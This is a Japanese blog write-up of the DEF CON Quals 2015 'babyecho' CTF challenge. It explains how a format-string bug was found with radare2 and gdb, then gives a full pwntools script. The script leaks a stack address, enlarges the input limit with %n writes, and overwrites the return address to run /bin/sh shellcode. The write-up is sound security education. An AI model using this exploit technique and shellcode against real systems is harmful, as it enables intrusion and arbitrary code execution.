読者です 読者をやめる 読者になる 読者になる

srupのメモ帳

競プロで解いた問題や勉強したことを記録していくメモ帳

Defcon Quals 2015 : babyecho

pwn fsb

問題

問題概要

明らかなfsbがある. さらにスタックが+xである. しかし文字数制限がある.

解法

 % file babyecho 
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

まず, stastically linked, strippedされているせいで, main関数の始まりがわからなかった. そこでradare2というのを使ってみた.

 % radare2 babyecho 
[0x08048d0a]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x08048d0a]> afl
0x08048d0a    1 34           entry0
0x08048f3c    6 275          main
0x08049050   47 821  -> 814  fcn.08049050
[0x08048d0a]> s main
[0x08048f3c]> VV

上のようなコマンドでmainのアドレスが調べられて, ビジュアルでどのようなフローをしているから見られるようになる.
あとは, break *0x08048f3c としてgdbで調べていく.

0x8048fdb:  call   0x804f560 ; printf("Reading %d bytes\n", 0xd)
0x8048ff7:  call   0x8048e24 ; gets()
0x8049003:  call   0x8048ecf ; printf <- FSB

結果, 上のような関数が呼ばれていることがわかる.
call 0x8048ecf が行われた直後のstackの状態は,

0000| 0xffffcb20 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0004| 0xffffcb24 --> 0xd ('\r') ;  文字列の長さのコピー Reading %d bytes\nの引数としてコピーされていた
0008| 0xffffcb28 --> 0xa ('\n')
0012| 0xffffcb2c --> 0x0 
0016| 0xffffcb30 --> 0xd ('\r') ; 文字列の長さ
0020| 0xffffcb34 --> 0xffffcb3c ("aaaa%x%x") ; バッファのアドレス
0024| 0xffffcb38 --> 0x0 
0028| 0xffffcb3c ("aaaa%x%x") ; バッファ

のような形になっている. まず, 入力文字の長さを長くしようと考えたとき, 現段階での長さは13(0xd)なので, スタックに2つありどちらを変更すればよいのかがわからない. しかし, 下のような命令があり, アドレスが小さい方の0xdは多い方のアドレスの値をコピーしたものなので, 変更するべきはアドレスの大きなほうであると予想される?

0x8048fd0:  mov    DWORD PTR [esp+0x4],eax ;eax = 0xd

よってesp+0x10のアドレスをFSBで変更すれば良いのだが, stackのアドレスは実行環境で変わるのでまずstackのアドレスがわかるような値をleakしなければならない. スタックにはバッファのアドレスが入っている場所があるのでそれをleakすれば, espの値などもわかる. あとは%nを利用して文字列の長さを保存しているアドレスの値を書き換えれば良い. (13バイト指定があるので2回にわけないと大きな値に変更することができない.)
入力文字数の制限を変更したあとは, bufferに入れた, shellcodeを実行すればいいので, どこかでeipを奪えば良い.
call 0x8048ecf の関数が呼ばれた中でのret直前のスタックの様子は,

0000| 0xffffcb1c --> 0x8049008 (lea    eax,[esp+0x1c])
0004| 0xffffcb20 --> 0xffffcb3c ("aaaa")
0008| 0xffffcb24 --> 0xd ('\r')
0012| 0xffffcb28 --> 0xa ('\n')
0016| 0xffffcb2c --> 0x0 
0020| 0xffffcb30 --> 0xd ('\r')
0024| 0xffffcb34 --> 0xffffcb3c ("aaaa")
0028| 0xffffcb38 --> 0x0 

以上のようになっていて, 一番上にmainへの戻るためのeipが保存されているので, ここの値をbufferの先頭アドレス(shellcodeの先頭アドレス)に書き換えてやればshellcodeが実行される.

ミス

writeupを見た
参考サイト
https://kimiyuki.net/blog/2016/01/08/defcon-qualifier-ctf-2015-babyecho/ https://mzyy94.com/blog/2015/05/18/defcon-qual-23-writeup/
radare2の使い方
http://poppycompass.hatenablog.jp/entry/2016/10/26/164034

コード

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

b = ELF("./babyecho")
p = process("./babyecho")

index = 7 #bufferまでのindex
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" 

#バッファのアドレスを出力
payload1 = '';
payload1 += "%5$p"
p.recvuntil("bytes\n") #0xd byte
p.sendline(payload1)
addr_buf = int(p.recvline(keepends=False), 16)
addr_esp = addr_buf - 0x1c #4 * 7
log.info("addr_buf  %x", addr_buf)
log.info("addr_esp %x", addr_esp)


#sizeの書き換え 2回
addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (99, index)
p.recvuntil('bytes\n') #13 byte
p.sendline(payload2)

addr_size = addr_esp + 0x10 
payload2 = ''
payload2 += p32(addr_size)
payload2 += "%%%dc%%%d$n" % (999, index)
p.recvuntil('bytes\n') #103byte
p.sendline(payload2)

#shellcode実行
addr_ret = addr_esp - 0x4
payload3 = ""
payload3 += p32(addr_ret)
payload3 += p32(addr_ret + 1)
payload3 += p32(addr_ret + 2)
payload3 += p32(addr_ret + 3)
payload3 += shellcode
nagasa = len(payload3)

payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[0:1]) - nagasa)                    % 256, index)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[1:2]) - u8(p32(addr_buf)[0:1]))    % 256, index + 1)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[2:3]) - u8(p32(addr_buf)[1:2]))    % 256, index + 2)
payload3 += "%%%dc%%%d$hhn" % ((u8(p32(addr_buf)[3:4]) - u8(p32(addr_buf)[2:3]))    % 256, index + 3)

p.recvuntil("bytes\n") #1003
p.sendline(payload3)

p.interactive()